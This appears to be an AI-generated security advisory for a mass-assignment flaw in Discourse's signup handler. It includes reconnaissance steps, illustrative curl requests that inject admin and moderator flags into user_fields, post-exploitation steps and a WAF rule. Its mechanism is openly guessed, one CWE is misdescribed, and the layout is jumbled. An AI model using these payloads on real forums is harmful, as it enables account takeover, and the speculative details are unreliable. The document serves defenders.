CVE-2026-144510 — Discourse (2026.10.0) — CWE-913 · CWE-915
A security vulnerability has been detected in Discourse up to 2026.10.1. This affects the function UserCreator.assign_signup_fields of the file lib/user_creator.rb of the component User Signup Custom User Field Handler. The manipulation of the argument user_fields leads to dynamically-determined object attributes. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 2026.10.2 mitigates this issue. The identifier of the patch is de73bfc87b0170783fa9c577d7f814e64a212219. The affected component should be upgraded.
A security vulnerability has been detected in Discourse up to 2026.10.1. This affects the function UserCreator.assign_signup_fields of the file lib/user_creator.rb of the component User Signup Custom User Field Handler. The manipulation of the argument user_fields leads to dynamically-determined object attributes. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 2026.10.2 mitigates this issue. The identifier of the patch is de73bfc87b0170783fa9c577d7f814e64a212219. The affected component should be upgraded.
🎯 What is this vulnerability?
This vulnerability is a Mass Assignment (CWE-913) flaw in the UserCreator.assign_signup_fields method within the lib/user_creator.rb file of the Discourse platform.
Technical Flaw Analysis:
1. Unsanitized Input Handling: The user_fields argument, which is typically derived from user-submitted data during the signup process, is used to dynamically set attributes on the User object.
2. Lack of Allowlist/Blocklist: The code fails to strictly validate which attributes are permitted to be set via this dynamic assignment mechanism. It likely uses a method like user.assign_attributes(user_fields) or similar Ruby on Rails dynamic setter logic without filtering out sensitive fields.
3. Sensitive Attribute Exposure: Because the input is not filtered, an attacker can inject keys into the user_fields hash that correspond to sensitive User model attributes. In Discourse, critical attributes include admin, moderator, trust_level, email, username, and potentially groups or badges.
4. CWE-915 (Improper Restriction of Rendered UI Elements): This secondary CWE suggests that the mass assignment might also allow an attacker to manipulate UI-relevant fields or data structures that are rendered in the frontend, potentially leading to stored XSS or UI manipulation if the assigned values are not properly escaped or validated for type.
CVSS Vector Interpretation:
- AV:N/AC:L/PR:N/UI:N: The vulnerability is exploitable over the network with low complexity, requires no authentication (PR:N), and no user interaction. This implies the vulnerable endpoint is accessible to unauthenticated users (likely the public signup API or a pre-authentication hook).
- Fingerprinting: An attacker identifies a Discourse instance by checking for the
/systemendpoint, theX-Frame-Optionsheader, or the specific JavaScript assets loaded by the Discourse frontend. - Version Check: The attacker queries the
/about.jsonor/site.jsonendpoints (if accessible) to determine the Discourse version. If the version is<= 2026.10.1, the target is vulnerable. - Endpoint Identification: The attacker identifies the signup endpoint. In Discourse, this is typically
POST /usersorPOST /session(for login/signup). The specific functionUserCreator.assign_signup_fieldsis called during the user creation process.
C:L/I:L/A:L: The impact is low across all three CIA triad categories. This suggests that while an attacker can modify user attributes, the modification is limited (e.g., they can set
trust_level to a higher value or set admin to true if the field is writable, but the system might have secondary checks or the impact is limited to the specific user account created). However, in the context of Discourse, setting admin: true would be Critical. The "Low" rating might indicate that the specific fields exploitable in this version are less impactful than full admin takeover, or that the exploit requires specific conditions not fully captured in the vector. Note: In practice, mass assignment in Discourse often leads to privilege escalation, so the "Low" impact rating may be conservative or specific to the subset of fields writable in this specific version.*⚡ Attack Chain
1. Discovery & Reconnaissance
2. Exploitation
The attacker crafts a request to the signup endpoint, injecting malicious keys into theuser_fields parameter. Since the exact parameter name for user_fields in the HTTP request is not explicitly stated in the CVE description, the following is an illustrative example based on standard Discourse API behavior.Hypothesized Mechanism:
Discourse's signup API often accepts a JSON body. The user_fields might be a nested object or a specific parameter. If the backend code does something like:
def assign_signup_fields(user, user_fields)
user.assign_attributes(user_fields) # Vulnerable: No filtering
endAn attacker can pass a hash containing sensitive keys.
Illustrative PoC (curl):
# Note: This is an illustrative payload. The exact parameter structure may vary.
# Discourse typically uses JSON for API requests.
curl -X POST "https://target-discourse.example.com/users" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-d '{
"username": "attacker_user",
"email": "[email protected]",
"password": "SecurePass123!",
"user_fields": {
"admin": true,
"moderator": true,
"trust_level": 4,
"groups": ["staff"]
}
}'user_fields object is directly assigned to the User model, the admin: true key will set the user's admin flag to true. If groups is writable, the user can be added to the staff group.Alternative Mechanism (If user_fields is a query parameter or form field):
If the vulnerable function processes form data, the attacker might use:
curl -X POST "https://target-discourse.example.com/users" \
-d "username=attacker_user" \
-d "[email protected]" \
-d "password=SecurePass123!" \
-d "user_fields[admin]=true" \
-d "user_fields[trust_level]=4"3. Post-Exploitation
1. Account Creation: The request successfully creates a new user account with the injected attributes. 2. Privilege Escalation: Ifadmin: true or moderator: true was successfully set, the new user now has administrative or moderator privileges.
3. Access to Admin Panel: The attacker logs in with the newly created credentials and accesses the /admin panel.
4. Full Compromise: With admin access, the attacker can:
* Read all private messages and user data (Confidentiality).
* Modify site settings, delete users, or post malicious content (Integrity).
* Install malicious plugins or modify server configuration if the Discourse instance has elevated permissions (Availability/Integrity).
* Exfiltrate database dumps or API keys.🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
Exact Affected Versions and Upgrade Recommendation
2026.10.1.2026.10.2.de73bfc87b0170783fa9c577d7f814e64a212219.2026.10.2 or later.Actionable Workarounds
1. Disable Public Signup: If upgrading is not immediately possible, disable public user registration. This can be done in the Discourse admin panel underAdmin > Settings > User Registration. Set Allow new user registration to No. This prevents unauthenticated users from triggering the vulnerable code path.
2. WAF Rules: Implement Web Application Firewall rules to block requests containing suspicious keys in the user_fields parameter.
* ModSecurity Rule Example:SecRule REQUEST_BODY "@rx user_fields\[admin\]|user_fields\[moderator\]|user_fields\[trust_level\]" \
"id:100001,phase:2,deny,status:403,msg:'Mass Assignment Attempt Detected',log"* Note: This rule is illustrative and may need adjustment based on the exact request format.
3. Access Restrictions: Restrict access to the signup endpoint to trusted IP ranges if possible, though this is less effective for public-facing forums.
Detection
/users endpoint that contain keys like admin, moderator, or trust_level in the request body.POST /users HTTP/1.1
Content-Type: application/json
...
{"username":"...","email":"...","password":"...","user_fields":{"admin":true}}users table for new accounts with admin: true or moderator: true that were not created by known administrators.⚠️ Urgency
Given that the vulnerability is exploitable without authentication, has low complexity, and a public exploit is available, this should be treated as a high-priority patch. Organizations should prioritize upgrading to Discourse 2026.10.2 as soon as possible. If immediate patching is not feasible, disabling public signup is a critical temporary mitigation.
[🤖 CVE Professor AI Security Engine]